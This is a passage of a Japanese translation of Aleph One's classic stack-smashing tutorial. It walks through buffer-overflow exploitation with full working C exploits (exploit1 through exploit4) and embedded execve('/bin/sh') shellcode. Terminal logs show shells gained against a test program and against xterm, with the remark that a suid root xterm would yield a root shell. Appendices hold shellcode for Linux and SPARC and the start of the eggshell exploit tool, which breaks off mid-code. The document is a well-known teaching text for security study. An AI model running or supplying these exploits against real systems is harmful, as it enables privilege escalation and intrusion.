------------------------------------------------------------------------------
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

void main() {
int *ret;

ret = (int *)&ret + 2;
(*ret) = (int)shellcode;

}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
[aleph1]$ gcc -o testsc2 testsc2.c
[aleph1]$ ./testsc2
$ exit
[aleph1]$
------------------------------------------------------------------------------

ハッキングコードを書く(またはスタックをすりつぶす)

今までに並べたピースをすべて引っ張って来よう。まずシェルコードがある。それがバッファーをオーバーフローするときに使う文字列だってことは検証 済み。バッファーの中に戻るリターンアドレスを指さなければならないこともわかった。そうした点を実演する例がこれだ:

overflow1.c
------------------------------------------------------------------------------
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

char large_string[128];

void main() {
char buffer[96];
int i;
long *long_ptr = (long *) large_string;

for (i = 0; i < 32; i++)
*(long_ptr + i) = (int) buffer;

for (i = 0; i < strlen(shellcode); i++)
large_string[i] = shellcode[i];

strcpy(buffer,large_string);
}
------------------------------------------------------------------------------

------------------------------------------------------------------------------
[aleph1]$ gcc -o exploit1 exploit1.c
[aleph1]$ ./exploit1
$ exit
exit
[aleph1]$
------------------------------------------------------------------------------

上記例でやってることは、配列large_string[]にbuffer[]のアドレスを埋め込んだことで、buffer[]には実行したいコー ドが入ることになる。そこでlarge_string文字列の最初にシェルコードをコピーする。strcpy()は境界チェックをせずに large_stringをbufferにコピーするので、リターンアドレスをオーバーフローさせ、実行したいコードのアドレスで上書きしてしまう。 mainの終わりに到達すると、リターンしようとしてこちらが実行したいコードへジャンプし、シェルを実行する。

他のプログラムのバッファーをオーバーフローしようとしたときに直面する問題は、バッファーがどのアドレスになるかを計算しようとしてしまうという ことだ。すべてのプログラムでスタックは同じアドレスから始まっている。ほとんどのプログラムでは、同時に数百か数千バイト以上のプッシュをスタックに対 して行わない。けれども、スタックがどこから始まっているか知っていれば、オーバーフローさせようとしているバッファーがどこにあるか推測することができ る。この例は自分のスタックポインターを表示するプログラムだ:

sp.c
------------------------------------------------------------------------------
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main() {
printf("0x%x\n", get_sp());
}
------------------------------------------------------------------------------

------------------------------------------------------------------------------
[aleph1]$ ./sp
0x8000470
[aleph1]$
------------------------------------------------------------------------------

オーバーフローさせようとしているプログラムがこれだとしてみよう:

vulnerable.c
------------------------------------------------------------------------------
void main(int argc, char *argv[]) {
char buffer[512];

if (argc > 1)
strcpy(buffer,argv[1]);
}
------------------------------------------------------------------------------

引数としてバッファーサイズとそれ自身のスタックポインターからのオフセット(オーバーフローさせたいバッファーが存在すると思われる場所)を取る プログラムを作成してみよう。環境変数にオーバーフロー文字列を入れれば、操ることは簡単である:

exploit2.c
------------------------------------------------------------------------------
#include <stdlib.h>

#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512

char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}

void main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;

if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);

if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}

addr = get_sp() - offset;
printf("Using address: 0x%x\n", addr);

ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;

ptr += 4;
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];

buff[bsize - 1] = '\0';

memcpy(buff,"EGG=",4);
putenv(buff);
system("/bin/bash");
}
------------------------------------------------------------------------------

バッファーとオフセットの値が何かを推測できる:

------------------------------------------------------------------------------
[aleph1]$ ./exploit2 500
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
[aleph1]$ exit
[aleph1]$ ./exploit2 600
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
Illegal instruction
[aleph1]$ exit
[aleph1]$ ./exploit2 600 100
Using address: 0xbffffd4c
[aleph1]$ ./vulnerable $EGG
Segmentation fault
[aleph1]$ exit
[aleph1]$ ./exploit2 600 200
Using address: 0xbffffce8
[aleph1]$ ./vulnerable $EGG
Segmentation fault
[aleph1]$ exit
.
.
.
[aleph1]$ ./exploit2 600 1564
Using address: 0xbffff794
[aleph1]$ ./vulnerable $EGG
$
------------------------------------------------------------------------------

この例でわかるように、これは効率的なプログラムではない。スタックの開始位置を知っていても、オフセットを推測することはほとんど不可能だ。良く て100回、悪ければ2000回はトライする必要があるだろう。問題は実行したいコードの開始アドレスを「正確に」推測する必要があるということだ。もし 1バイト多くても少なくても、セグメンテーションヴァイオレーションか、誤った命令になってしまうだろう。チャンスを大きくするひとつの方法としては、 NOP命令を使ってオーバーフローしたいバッファーの前に当てモノをすることだ。ほとんど全てのプロセッサーは何も実行しないNOP命令を持つ。これはい つもはタイミングを計るためにディレイを実行するために使われる。その特徴を利用して、オーバーフローしたいバッファーの半分をNOP命令で埋める。シェ ルコードをその真ん中に入れ、そのあとにリターンアドレスを続ける。もしついていて、かつリターンアドレスがNOP群の文字列のどこかを指していたら、実 行したいコードに到達するまでNOP群が実行される。スタックが0xFFから開始されるものとし、Sはシェルコード、NはNOP命令を表すとして、スタッ クがどういう風か見てみよう:

bottom of  DDDDDDDDEEEEEEEEEEEE  EEEE  FFFF  FFFF  FFFF  FFFF     top of
memory 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF memory
buffer sfp ret a b c

<------ [NNNNNNNNNNNSSSSSSSSS][0xDE][0xDE][0xDE][0xDE][0xDE]
^ |
|_____________________|
top of bottom of
stack stack

新しいハッキングコードはこうなる:

exploit3.c
------------------------------------------------------------------------------
#include <stdlib.h>

#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define NOP 0x90

char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}

void main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;

if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);

if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}

addr = get_sp() - offset;
printf("Using address: 0x%x\n", addr);

ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;

for (i = 0; i < bsize/2; i++)
buff[i] = NOP;

ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];

buff[bsize - 1] = '\0';

memcpy(buff,"EGG=",4);
putenv(buff);
system("/bin/bash");
}
------------------------------------------------------------------------------

バッファーサイズの選択として良いのは、オーバーフローしようとしてるバッファーサイズより100バイト以上多いものだ。そうすればオーバーフロー しようとしてるバッファーの最後に実行したいコードが位置するだろうし、NOP群にたくさんスペースが与えられるが(それだけチャンスが増える)、それで も推測したアドレスでリターンアドレスを上書きしている。オーバーフローしようとしてるバッファーは512バイト長ならば、612を使う。テストプログラ ムを新たなハッキングコードでオーバーフローさせてみよう:

------------------------------------------------------------------------------
[aleph1]$ ./exploit3 612
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
$
------------------------------------------------------------------------------

ワァオ!1回目で出来た!この変更で100倍はチャンスが拡がった。さて、実際のバッファーオーバーフローのケースで試してみよう。Xtライブラリ のバッファーオーバーフローで実演してみよう。この例では、xtermを使う(Xtライブラリにリンクされてるプログラムは全て弱点があるのだ)。まずは Xのサーバーを走らせて、ローカルホストからそのサーバーへの接続を許可しなければならない。DISPLAY変数を相応に設定すること:

------------------------------------------------------------------------------
[aleph1]$ export DISPLAY=:0.0
[aleph1]$ ./exploit3 1124
Using address: 0xbffffdb4
[aleph1]$ /usr/X11R6/bin/xterm -fg $EGG
Warning: Color name "・1、FF



、1、リ@、鞋/bin/sh、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、








ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、








、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、ソ、、
^C
[aleph1]$ exit
[aleph1]$ ./exploit3 2148 100
Using address: 0xbffffd48
[aleph1]$ /usr/X11R6/bin/xterm -fg $EGG
Warning: Color name "・1、FF



、1、リ@、鞋/bin/sh、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、








ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH








、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソ








H、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、








ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、ソH、
Warning: some arguments in previous message were lost
Illegal instruction
[aleph1]$ exit
.
.
.
[aleph1]$ ./exploit4 2148 600
Using address: 0xbffffb54
[aleph1]$ /usr/X11R6/bin/xterm -fg $EGG
Warning: Color name "・1、FF



、1、リ@、鞋/bin/sh・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・




ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT








・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソ








T・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・








ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・ソT・
Warning: some arguments in previous message were lost
bash$
------------------------------------------------------------------------------

しめた!12回もやってないのにマジックナンバーを見つけた。xtermがsuid rootでインストールされていたら、rootのシェルになるだろう。

小さなバッファーオーバーフロー

オーバーフローしたいバッファーが小さすぎてシェルコードを入れ込めなくてリターンアドレスを実行したいコードのアドレスへの命令で上書きできな かったり、NOPを文字列の前にほんのちょっとしか入れられず、推測するチャンスが極小になってしまったりすることもあるだろう。こうしたプログラムで シェルを得るためには、他の方法を試してみなければならない。この特別なアプローチはそのプログラムの環境変数にアクセスできる場合にのみ可能だ。

それはシェルコードを環境変数に入れ込んで、その変数のメモリ内部でのアドレスを使ってバッファーをオーバーフローさせるやり方である。またこの方 法によれば、シェルコードを環境変数の中に入れる部分が大きければ大きいほど、ハッキングするチャンスは増大する。

環境変数は、プログラムが動作開始するときにスタックのトップにストアされ、その後setenv()によってどこかに割り振られる。スタックは開始 時はこうなっている:

<strings><argvpointers>NULL<envppointers>NULL<argc><argv><envp>

新しいプログラムでは特別な変数(シェルコードとNOP群を含んだ変数のサイズ)を使おう。それはこんな風だ:

exploit4.c
------------------------------------------------------------------------------
#include <stdlib.h>

#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define DEFAULT_EGG_SIZE 2048
#define NOP 0x90

char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_esp(void) {
__asm__("movl %esp,%eax");
}

void main(int argc, char *argv[]) {
char *buff, *ptr, *egg;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i, eggsize=DEFAULT_EGG_SIZE;

if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (argc > 3) eggsize = atoi(argv[3]);


if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
if (!(egg = malloc(eggsize))) {
printf("Can't allocate memory.\n");
exit(0);
}

addr = get_esp() - offset;
printf("Using address: 0x%x\n", addr);

ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;

ptr = egg;
for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
*(ptr++) = NOP;

for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];

buff[bsize - 1] = '\0';
egg[eggsize - 1] = '\0';

memcpy(egg,"EGG=",4);
putenv(egg);
memcpy(buff,"RET=",4);
putenv(buff);
system("/bin/bash");
}
------------------------------------------------------------------------------

新しいプログラムをセキュリティホールを持つテストプログラムで試してみよう:

------------------------------------------------------------------------------
[aleph1]$ ./exploit4 768
Using address: 0xbffffdb0
[aleph1]$ ./vulnerable $RET
$
------------------------------------------------------------------------------

呪文の如く動作してる(笑)。xtermで試してみよう:

------------------------------------------------------------------------------
[aleph1]$ export DISPLAY=:0.0
[aleph1]$ ./exploit4 2148
Using address: 0xbffffdb0
[aleph1]$ /usr/X11R6/bin/xterm -fg $RET
Warning: Color name
"ー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、








ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー








、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソ








ー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、








ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、








ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー








、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソ








ー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、








ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、








ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソー、ソ








ー、ソー、ソー、
Warning: some arguments in previous message were lost
$
------------------------------------------------------------------------------

一発目で出来た!確実にオッズを増やしているみたいだ。ハッキングしたいプログラムの中でどれだけの数の環境データをハッキングプログラムと並べら れるかによって、アドレスを推測できる確率は低くも高くもなる。オフセットを増減両方してみてほしい。

バッファーオーバーフローを発見する

前に明言したとおり、バッファーオーバーフローとは、バッファーに対しその保持できる以上の情報を入れ込む結果生じることである。Cでは組み込みの 境界チェックが無いので、オーバーフローは、キャラクター配列の終わりを超えた書き込みというような形で非常に良く出現する。標準のCのライブラリには文 字列をコピーしたり加えたりする関数がいくつか存在するが、境界チェックはぜんぜん行われていない。それはstrcat(),strcpy(), sprintf(),vsprintf()といったものである。これらの関数はヌルで終了する文字列を受け取るのであり、受け取る文字列がオーバーフロー しているかをチェックしていない。gets()はstdin(標準入力)から1行読みとる関数で、改行コードかEOFによって終了するまでバッファーに読 み込む。これもバッファーオーバーフローをチェックしていない。scanf()系列関数も問題となる可能性がある。例えば、非書き込み空間のキャラクター (%s)並びにマッチさせる場合、定義したセット(%[])と空ではない文字並びをマッチさせる場合、charのポインターで配列を指す場合などは、文字 並び全てを受け取れるほど(内部バッファーが)大きくないので、任意に最大フィールド幅を定義できないのだ。もし、これらの関数のどれかがターゲットで、 固定サイズのバッファーを持ち、ユーザー入力から他の引数を得ている場合は、バッファーオーバーフローを試すには良いといえるだろう。

もうひとつ、われわれが見てきた一般的なプログラミング構造として、whileループを使って1度に1文字づつ、行の終わりか、ファイルの終わり か、あるいは何か他の区切り文字が来るまでstdinからバッファーに読み込むというものがある。このタイプの構造では普通こういう関数の1つを使う: getc(),fgetc(),あるいはgetchar()。whileループの中に明確にオーバーフローのチェックが無ければ、こうしたプログラムも ハッキングはたやすい。

最後になるが、grep(1)もいい材料である。フリーのOSやユーティリティーのソースは誰でも読める。ということは、多くの商用OSやユーティ リティーもフリーなものと同じソースから来ているということを理解すると、全く興味深いことになるわけである。ソースを活用しよう。(おしまい)

     Appendix A - Shellcode for Different Operating Systems/Architectures
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

i386/Linux
------------------------------------------------------------------------------
jmp 0x1f
popl %esi
movl %esi,0x8(%esi)
xorl %eax,%eax
movb %eax,0x7(%esi)
movl %eax,0xc(%esi)
movb $0xb,%al
movl %esi,%ebx
leal 0x8(%esi),%ecx
leal 0xc(%esi),%edx
int $0x80
xorl %ebx,%ebx
movl %ebx,%eax
inc %eax
int $0x80
call -0x24
.string \"/bin/sh\"
------------------------------------------------------------------------------

SPARC/Solaris
------------------------------------------------------------------------------
sethi 0xbd89a, %l6
or %l6, 0x16e, %l6
sethi 0xbdcda, %l7
and %sp, %sp, %o0
add %sp, 8, %o1
xor %o2, %o2, %o2
add %sp, 16, %sp
std %l6, [%sp - 16]
st %sp, [%sp - 8]
st %g0, [%sp - 4]
mov 0x3b, %g1
ta 8
xor %o7, %o7, %o0
mov 1, %g1
ta 8
------------------------------------------------------------------------------

SPARC/SunOS
------------------------------------------------------------------------------
sethi 0xbd89a, %l6
or %l6, 0x16e, %l6
sethi 0xbdcda, %l7
and %sp, %sp, %o0
add %sp, 8, %o1
xor %o2, %o2, %o2
add %sp, 16, %sp
std %l6, [%sp - 16]
st %sp, [%sp - 8]
st %g0, [%sp - 4]
mov 0x3b, %g1
mov -0x1, %l5
ta %l5 + 1
xor %o7, %o7, %o0
mov 1, %g1
ta %l5 + 1
------------------------------------------------------------------------------


Appendix B - Generic Buffer Overflow Program
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

shellcode.h
------------------------------------------------------------------------------
#if defined(__i386__) && defined(__linux__)

#define NOP_SIZE 1
char nop[] = "\x90";
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}

#elif defined(__sparc__) && defined(__sun__) && defined(__svr4__)

#define NOP_SIZE 4
char nop[]="\xac\x15\xa1\x6e";
char shellcode[] =
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
"\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
"\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08"
"\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08";

unsigned long get_sp(void) {
__asm__("or %sp, %sp, %i0");
}

#elif defined(__sparc__) && defined(__sun__)

#define NOP_SIZE 4
char nop[]="\xac\x15\xa1\x6e";
char shellcode[] =
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
"\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
"\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\xaa\x10\x3f\xff"
"\x91\xd5\x60\x01\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd5\x60\x01";

unsigned long get_sp(void) {
__asm__("or %sp, %sp, %i0");
}

#endif
------------------------------------------------------------------------------

eggshell.c
------------------------------------------------------------------------------
/*
* eggshell v1.0
*
* Aleph One / aleph1@underground.org
*/
#include <stdlib.h>
#include <stdio.h>
#include "shellcode.h"

#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define DEFAULT_EGG_SIZE 2048

void usage(void);

void main(int argc, char *argv[]) {
char *ptr, *bof, *egg;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i, n, m, c, align=0, eggsize=DEFAULT_EGG_SIZE;

while ((c = getopt(argc, argv, "a:b:e:o:")) != EOF)
switch (c) {
case 'a':
align = atoi(optarg);
break;
case 'b':
bsize = atoi(optarg);
break;
case 'e':
eggsize = atoi(optarg);
